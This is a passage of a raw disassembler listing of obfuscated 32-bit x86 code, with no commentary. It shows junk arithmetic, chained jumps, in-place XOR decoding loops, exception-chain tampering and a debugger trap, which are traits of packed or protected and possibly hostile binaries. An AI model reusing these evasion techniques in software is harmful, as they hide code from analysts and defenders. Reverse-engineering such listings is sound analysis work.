; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42F0FE:				; CODE XREF: sub_4283CC-3C9Ej
		or	esi, 0AA362090h


loc_42F104:				; CODE XREF: sub_4283CC:loc_426159j
		call	sub_4245D6


loc_42F109:				; CODE XREF: sub_42C031+AEBj
		jmp	loc_427B16
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	byte ptr [ebp-1]
		jmp	loc_42C1A1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F119	proc near		; CODE XREF: sub_427F4Ej

var_1		= byte ptr -1

; FUNCTION CHUNK AT 0042886C SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_1], 0
		mov	eax, cs
		xor	al, al
		jmp	loc_42886C
sub_42F119	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42F12A:				; CODE XREF: sub_429D2E:loc_429CD2j
		call	sub_42DDE6


loc_42F12F:				; CODE XREF: wto1jq8f:0042EA8Fj
		and	esi, 5A53E1E0h
; END OF FUNCTION CHUNK	FOR sub_429D2E

; =============== S U B	R O U T	I N E =======================================



sub_42F135	proc near		; CODE XREF: sub_425944+841p
		mov	[esp+0], eax
		pop	eax
		push	edx
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_426AC1
sub_42F135	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E64B


loc_42F143:				; CODE XREF: sub_42E64B+3j
		push	ecx
		call	sub_426A84


loc_42F149:				; CODE XREF: sub_42FAE4-B13Dj
		shl	edx, 7


loc_42F14C:				; CODE XREF: sub_42FAE4:loc_42E41Fj
		mov	eax, 80000002h
		xor	ebx, ebx
		push	offset loc_429FE5
		jmp	loc_42B1F0
; END OF FUNCTION CHUNK	FOR sub_42E64B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42F15D	proc near		; CODE XREF: sub_42DCB4:loc_42735Cj
		retn
sub_42F15D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C786


loc_42F15E:				; CODE XREF: sub_42C786+10j
		jmp	loc_427BE7
; END OF FUNCTION CHUNK	FOR sub_42C786
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB12


loc_42F163:				; CODE XREF: sub_42BB12+13j
		jmp	loc_42B4B4
; END OF FUNCTION CHUNK	FOR sub_42BB12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42F168:				; CODE XREF: sub_429B76-3EF7j
		call	sub_42CB36
		test	al, al
		jz	loc_42F71D


loc_42F175:				; CODE XREF: sub_42708B+2210j
		jmp	loc_42670F
; END OF FUNCTION CHUNK	FOR sub_429B76
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42F17B:				; CODE XREF: sub_429165+1A29j
		jmp	loc_42DB24
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------


loc_42F180:				; CODE XREF: wto1jq8f:00427442j
		jmp	loc_424B13

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F185	proc near		; CODE XREF: sub_42A6CD+4p
					; sub_42B5F6+Ej ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00425E8B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428494 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AF78 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		jo	sub_42A3EB
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], eax
		jmp	loc_425E8B
sub_42F185	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F563


loc_42F199:				; CODE XREF: sub_42F563+Dj
		push	485A1A6Dh
		pop	eax
		or	eax, 0FC1F7110h
		rol	eax, 9
		jmp	loc_427ED8
; END OF FUNCTION CHUNK	FOR sub_42F563
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424DA0


loc_42F1AD:				; CODE XREF: sub_424DA0:loc_425BFDj
		push	26E3E7BEh
		pop	eax
		rol	eax, 1Fh
		add	eax, 0EC8E0C20h


loc_42F1BC:				; CODE XREF: sub_426535+76ECj
		xchg	eax, [esp-4+arg_0]
		push	eax
		call	sub_42C6B1
		jmp	loc_42AB46
; END OF FUNCTION CHUNK	FOR sub_424DA0
; ---------------------------------------------------------------------------
		dw 4545h
dword_42F1CC	dd 0							; sub_42885Cr ...
dword_42F1D0	dd 0		dword_42F1D4	dd 0							; wto1jq8f:004281B8r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8D


loc_42F1D8:				; CODE XREF: sub_427D8D+Aj
		jmp	loc_425B04
; END OF FUNCTION CHUNK	FOR sub_427D8D
; ---------------------------------------------------------------------------
		db 0DDh, 7Ah, 42h
dword_42F1E0	dd 0							; sub_429B76+1267w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42F1E4:				; CODE XREF: sub_42CB36+260j
		jmp	loc_424D04
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
		db 20h,	9, 7Fh
dword_42F1EC	dd 0		dword_42F1F0	dd 0							; wto1jq8f:loc_4294E8r	...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E961


loc_42F1F4:				; CODE XREF: sub_42E961-7EE2j
		jmp	loc_42C5D4
; END OF FUNCTION CHUNK	FOR sub_42E961
; ---------------------------------------------------------------------------
		db 5Ch,	46h, 81h
; ---------------------------------------------------------------------------
		pop	ebp
		fcom	qword ptr [esi-37h]
		int	3		; Trap to Debugger
		and	ecx, [ebx+8DD832h]


loc_42F207:				; CODE XREF: wto1jq8f:0042BA59j
		jmp	loc_425FBE
; ---------------------------------------------------------------------------


loc_42F20C:				; DATA XREF: sub_42A202:loc_42D012o
		add	edx, 4
		xor	[edx], eax
		call	loc_426F96


loc_42F216:				; CODE XREF: wto1jq8f:0042A66Ej
		cmp	ebp, 8CEE50DEh
		jmp	loc_424400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A617


loc_42F221:				; CODE XREF: sub_42A617-44FBj
					; sub_42FBFD-119Fj
		call	sub_426E98
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]
		mov	edx, [edx-8]


loc_42F230:				; CODE XREF: wto1jq8f:loc_42B056j
		or	edx, 40h
		or	eax, edx
		jmp	loc_42FE89
; END OF FUNCTION CHUNK	FOR sub_42A617

; =============== S U B	R O U T	I N E =======================================



sub_42F23A	proc near		; DATA XREF: sub_426E98:loc_42F536o

; FUNCTION CHUNK AT 00424504 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A32C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C3CA SIZE 0000001B BYTES

		xor	[esi], edx
		cmp	edi, 80000001h
		jbe	loc_4248DF
		jmp	loc_424504
sub_42F23A	endp

; ---------------------------------------------------------------------------
		push	0F12220D3h
		sub	ebx, 8DB75DFFh
		jmp	sub_42CE80
; ---------------------------------------------------------------------------


loc_42F25D:				; CODE XREF: wto1jq8f:0042F85Ej
		sbb	edi, eax

; =============== S U B	R O U T	I N E =======================================



sub_42F25F	proc near		; CODE XREF: sub_42E5FA-3271p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042428F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426D99 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042729D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428525 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00428613 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004290D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00429929 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A3B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AACF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B0EE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042B55A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D6C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042E691 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8B4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F0AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC74 SIZE 00000011 BYTES

		mov	[esp-4+arg_0], ebx
		pop	ebx
		add	eax, 0B7293063h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_42B55A
sub_42F25F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_42F272:				; CODE XREF: sub_429BD3-47Cj
		mov	edx, [ebp-18h]


loc_42F275:				; CODE XREF: sub_424F7A:loc_42E99Dj
		shr	edx, 3
		mov	ecx, ds:dword_429558
		or	[ecx+edx], al
		mov	ecx, [ebp-1Ch]
		call	sub_42C486
		xor	ecx, esi
		jmp	loc_426164
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
		rol	eax, 1Ch
		jmp	loc_4276C0
; ---------------------------------------------------------------------------


loc_42F298:				; CODE XREF: wto1jq8f:0042B20Aj
		popf
		pushf
		jmp	loc_42DD9A
; ---------------------------------------------------------------------------


loc_42F29F:				; DATA XREF: sub_42E919+Bo
		mov	byte ptr [ebp-802h], 0
		mov	byte ptr [ebp-801h], 1
		lea	eax, [ebp-80Ch]
		call	sub_42FD33
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42F2B8:				; CODE XREF: sub_426144+97DBj
		jmp	loc_42C1D6
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42F2BD:				; CODE XREF: sub_42760F+62FCj
		jmp	loc_42DBD7
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428501


loc_42F2C2:				; CODE XREF: sub_428501+4A25j
		jmp	sub_42EDB8
; END OF FUNCTION CHUNK	FOR sub_428501

; =============== S U B	R O U T	I N E =======================================



sub_42F2C7	proc near		; CODE XREF: sub_42F8E5j
					; DATA XREF: sub_42C0F6+37E5o

; FUNCTION CHUNK AT 00425B31 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425E1B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425FAE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426821 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042752D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004278F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429244 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042AC0A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B159 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B696 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BF18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CAA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042CCD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EBF4 SIZE 00000015 BYTES

		or	[ecx+edx], al
		mov	ecx, [ebp-20h]
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		mov	edx, [ebp-20h]
		jmp	loc_42CCD9
sub_42F2C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: wto1jq8f:0042F4B7j
		push	edx
		call	sub_42C93C


loc_42F2E2:				; CODE XREF: wto1jq8f:00429DEFj
		jmp	loc_42C05D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42F2E7:				; CODE XREF: sub_429BFF-2FB1j
		jz	loc_42900A
		push	4
		push	offset sub_42609A
		jmp	nullsub_168
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42F2F9:				; CODE XREF: sub_426535+20j
		jz	loc_426FFB
		jmp	loc_42ACA7
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42F304	proc near		; CODE XREF: sub_426E98:loc_42E696j
		retn
sub_42F304	endp

; ---------------------------------------------------------------------------


loc_42F305:				; CODE XREF: wto1jq8f:0042683Dj
		push	0C849FD2Dh
		xchg	ebp, edi
		sbb	ebp, edi
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42F30E:				; CODE XREF: sub_42506F+4F70j
		add	eax, 95E07738h
		jmp	loc_426870
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42708B


loc_42F319:				; CODE XREF: sub_42708B:loc_42EBA3j
		test	al, al
		jz	locret_424F1D
		jmp	loc_424AC8
; END OF FUNCTION CHUNK	FOR sub_42708B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CA3D


loc_42F327:				; CODE XREF: sub_42CA3D+1j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42CDC5
; END OF FUNCTION CHUNK	FOR sub_42CA3D
; ---------------------------------------------------------------------------


loc_42F332:				; DATA XREF: sub_4266CA+11o
		mov	[ecx+0B8h], eax
		pop	ecx


loc_42F339:				; CODE XREF: wto1jq8f:loc_42E185j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F33C:				; DATA XREF: sub_4266CA+Bo
					; wto1jq8f:0042C567o
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_427DCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFBA


loc_42F34B:				; CODE XREF: sub_42FFBA+6j
		ror	eax, 3
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_42FFBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_42F355:				; CODE XREF: sub_42EDB9:loc_425E50j
		jmp	loc_42FA56
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425EA8


loc_42F35B:				; CODE XREF: sub_425EA8+41B7j
		jmp	loc_4296F6
; END OF FUNCTION CHUNK	FOR sub_425EA8

; =============== S U B	R O U T	I N E =======================================



sub_42F360	proc near		; DATA XREF: sub_42C4B3+1o
		call	sub_426A97
sub_42F360	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_429471


loc_42F365:				; CODE XREF: sub_429471+2AD3j
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42F36A:				; CODE XREF: sub_429D2E-3AD7j
		jmp	loc_42F7CD
; END OF FUNCTION CHUNK	FOR sub_429D2E

; =============== S U B	R O U T	I N E =======================================



sub_42F36F	proc near		; CODE XREF: sub_42F614-B17Ap
		mov	[esp+0], eax
		push	edi
		push	4CAC3732h
		pop	edi
		call	sub_42CE8E
sub_42F36F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426719


loc_42F37E:				; CODE XREF: sub_426719+11j
		jmp	loc_425FA6
; END OF FUNCTION CHUNK	FOR sub_426719
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42F384	proc near		; DATA XREF: sub_429BFF-4BF0o
		xor	edi, 99EFB2D6h
		xchg	edi, [esp+0]
		mov	eax, [ebp-10h]
		call	sub_42E9E8

locret_42F395:				; CODE XREF: sub_42C486:loc_42A638j
		retn
sub_42F384	endp

; ---------------------------------------------------------------------------


loc_42F396:				; CODE XREF: wto1jq8f:loc_426432j
		jnz	loc_428F56
		jmp	loc_428CC6
; ---------------------------------------------------------------------------


loc_42F3A1:				; CODE XREF: wto1jq8f:0042C924j
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_42C912
		jmp	loc_4271E2
; ---------------------------------------------------------------------------


loc_42F3B6:				; CODE XREF: wto1jq8f:004279BEj
		call	sub_4263D7
; START	OF FUNCTION CHUNK FOR sub_42C031


loc_42F3BB:				; CODE XREF: sub_42C031+Dj
		jmp	loc_428DB1
; END OF FUNCTION CHUNK	FOR sub_42C031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C71


loc_42F3C0:				; CODE XREF: sub_428C71+2A49j
		jmp	loc_42892E
; END OF FUNCTION CHUNK	FOR sub_428C71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42F3C5:				; CODE XREF: sub_42481C+4CC7j
		jnz	loc_42A264
		jmp	loc_42F628
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------
		jbe	loc_42B600
		jmp	sub_426461
; ---------------------------------------------------------------------------


loc_42F3DB:				; CODE XREF: wto1jq8f:00427AEBj
		jnp	loc_424B0B


loc_42F3E1:				; CODE XREF: wto1jq8f:loc_42AB67j
		call	sub_42F3E7
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42F3E7	proc near		; CODE XREF: wto1jq8f:loc_42A420j
					; wto1jq8f:loc_42F3E1p

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00429303 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A279 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B79F SIZE 0000000E BYTES

		jb	loc_42B79F
		call	sub_4272F3
		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		jmp	loc_42A279
sub_42F3E7	endp

; ---------------------------------------------------------------------------


loc_42F402:				; CODE XREF: wto1jq8f:loc_42E760j
		jns	loc_42B944
		xor	ebx, 0AE800C8Bh
		jmp	loc_42B939
; ---------------------------------------------------------------------------
		and	edx, ebp
		jmp	sub_428DDD
; ---------------------------------------------------------------------------


loc_42F41A:				; DATA XREF: sub_42AFCD:loc_42BC81o
		push	7ECD866h
		pop	eax
		add	eax, 28B95E61h
		add	eax, ebp
		jmp	loc_42660A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		popf
		xor	eax, esi
		jmp	sub_4262CE
; ---------------------------------------------------------------------------
		mov	edx, 0D504D785h
		push	esi
		push	9B5894EFh
		pop	esi
		add	esi, 64EA658Ah
		call	sub_4248E6
; START	OF FUNCTION CHUNK FOR sub_42ED32


loc_42F44D:				; CODE XREF: wto1jq8f:0042D8E0j
					; sub_42ED32:loc_42ED37j
		jnz	loc_4274D8
		jmp	loc_42D7C9
; END OF FUNCTION CHUNK	FOR sub_42ED32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42F458:				; CODE XREF: sub_42F6A9-3016j
		mov	ecx, ds:dword_429558
		movzx	edx, byte ptr [ecx+edx]
		and	eax, edx
		jz	loc_42BBA1
		jmp	loc_42E9CF
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42F46F:				; CODE XREF: sub_425E35+64Bj
		mov	ecx, [ebx+ecx+78h]


loc_42F473:				; CODE XREF: sub_429D2E+618Cj
		or	ecx, ecx
		jz	loc_42F9B4
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_42F9B4
		call	sub_42B5E4
		jmp	loc_428244
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
		adc	esi, 0BB5C7895h
		jmp	sub_4272B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42F49C:				; CODE XREF: sub_426535:loc_42FD52j
		adc	esi, eax
		ja	sub_42F81B
		jmp	loc_42C16D
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42F4AA:				; CODE XREF: wto1jq8f:0042862Bj
		jmp	loc_425AE6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42F4B0:				; CODE XREF: wto1jq8f:00428479j
		call	sub_427F4E
		test	al, al
		jz	loc_42F2DC
		jmp	loc_42488E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9B0


loc_42F4C2:				; CODE XREF: sub_42D9B0-7C97j
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_42F4D5
		add	dword ptr [ebp-8], 4
		jmp	loc_427037
; ---------------------------------------------------------------------------


loc_42F4D5:				; CODE XREF: sub_42D9B0+1B16j
		add	dword ptr [ebp-8], 2
		jmp	loc_429628
; END OF FUNCTION CHUNK	FOR sub_42D9B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D53B


loc_42F4DE:				; CODE XREF: sub_4250D4+16j
					; sub_42D53B+4j
		call	sub_42CB63


loc_42F4E3:				; CODE XREF: sub_42DBA6-5376j
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_42D53B
; ---------------------------------------------------------------------------


loc_42F4E8:				; CODE XREF: wto1jq8f:0042C953j
		jbe	loc_4246ED
		cdq
		jmp	sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42F4F4:				; CODE XREF: sub_426535-1BF7j
					; sub_426C0C+8j ...
		jnb	loc_42870B
		cmp	dword ptr [ebp-4], 7
		jnz	loc_42E294
		jmp	loc_424CDD
; END OF FUNCTION CHUNK	FOR sub_426C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FB2F


loc_42F50A:				; CODE XREF: sub_42FB2F+Ej
		jmp	loc_4295F1
; END OF FUNCTION CHUNK	FOR sub_42FB2F

; =============== S U B	R O U T	I N E =======================================



sub_42F50F	proc near		; CODE XREF: sub_427A9E+14p
					; wto1jq8f:0042C781j

; FUNCTION CHUNK AT 00424785 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424AEC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004267C4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042773F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042790C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427989 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427A3D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042908C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429EEA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A0FB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042A102 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B0A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CFC8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D068 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042F5B3 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, 0A22F8A70h
		call	sub_426C04
		mov	ds:dword_42591C, eax
		call	sub_424585
		mov	edx, 0A2CD59D9h
		call	sub_426C04
		jmp	loc_42790C
sub_42F50F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42F536:				; CODE XREF: sub_426E98+61CBj
		push	offset sub_42F23A
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_42F540:				; CODE XREF: wto1jq8f:0042815Fj
		shl	edx, 0Ah
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42F543:				; CODE XREF: sub_427A8D:loc_428148j
		add	eax, 0B745DE52h
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	loc_42DAE8
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42F553:				; CODE XREF: sub_426535:loc_429570j
		call	sub_42D765
		retn
; ---------------------------------------------------------------------------


loc_42F559:				; CODE XREF: sub_426535+3C52j
		jmp	loc_42F925
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_42F55E:				; CODE XREF: wto1jq8f:00425B79j
		jmp	loc_4299FE

; =============== S U B	R O U T	I N E =======================================



sub_42F563	proc near		; CODE XREF: sub_42C4B3+Cp
					; sub_42CE8E+Fp

; FUNCTION CHUNK AT 00427ED8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E3E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F199 SIZE 00000014 BYTES

		jo	sub_42D877
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42F199
sub_42F563	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F575	proc near		; CODE XREF: wto1jq8f:00426D18p
					; wto1jq8f:0042B9D1j

; FUNCTION CHUNK AT 00427A5F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429E4F SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0FD1C7938h
		pop	esi
		sub	esi, 0D9AC336h
		jmp	loc_429E4F
sub_42F575	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	edx, 4
		and	ebp, ecx
		jmp	sub_4245D6
; ---------------------------------------------------------------------------


loc_42F594:				; CODE XREF: wto1jq8f:0042CBCCj
		sub	ebx, 0D0A7FCFh
		jmp	loc_4248D8

; =============== S U B	R O U T	I N E =======================================



sub_42F59F	proc near		; CODE XREF: wto1jq8f:00427528p
					; wto1jq8f:0042B9FBj
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_425ACB
sub_42F59F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_42F5A8:				; CODE XREF: sub_42A14D-54C3j
					; wto1jq8f:00424EF4j ...
		mov	esp, ebp
		mov	ebp, offset nullsub_1
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42F5B3:				; CODE XREF: sub_42F50F-7DC2j
		jmp	loc_427A3D
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42F5B8:				; CODE XREF: sub_42E9E8-7EE3j
		jz	loc_4267E9
		jmp	loc_4246ED
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
		mov	edx, 0F9A79DECh
		call	sub_429165
		call	sub_427F1A
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42F5D2:				; CODE XREF: sub_42DCB4-478Bj
		jmp	loc_42E084
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42F5D7:				; CODE XREF: sub_428AC6+5785j
		jz	loc_428F9B
		cdq
		xchg	edi, [ecx]
		jmp	loc_428F9B
; END OF FUNCTION CHUNK	FOR sub_428AC6

; =============== S U B	R O U T	I N E =======================================



sub_42F5E5	proc near		; CODE XREF: sub_42FF7F+7p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00426D66 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428E97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042CD9B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042FC98 SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	ebx
		call	sub_428501


loc_42F5F1:				; CODE XREF: sub_4272F3:loc_42AB13j
		and	ebx, edx
		sbb	ebx, esi
		jmp	loc_426D66
sub_42F5E5	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AE5


loc_42F5FB:				; CODE XREF: sub_428AE5:loc_424929j
		rol	edi, 19h
		add	edi, 8CDC7446h
		xchg	edi, [esp+4+var_4]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_428AE5
; ---------------------------------------------------------------------------
		shl	ecx, 14h
		jmp	loc_42FD32

; =============== S U B	R O U T	I N E =======================================



sub_42F614	proc near		; CODE XREF: sub_426E98:loc_424733p
					; wto1jq8f:004289A6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424491 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424DBA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424E6E SIZE 0000000D BYTES
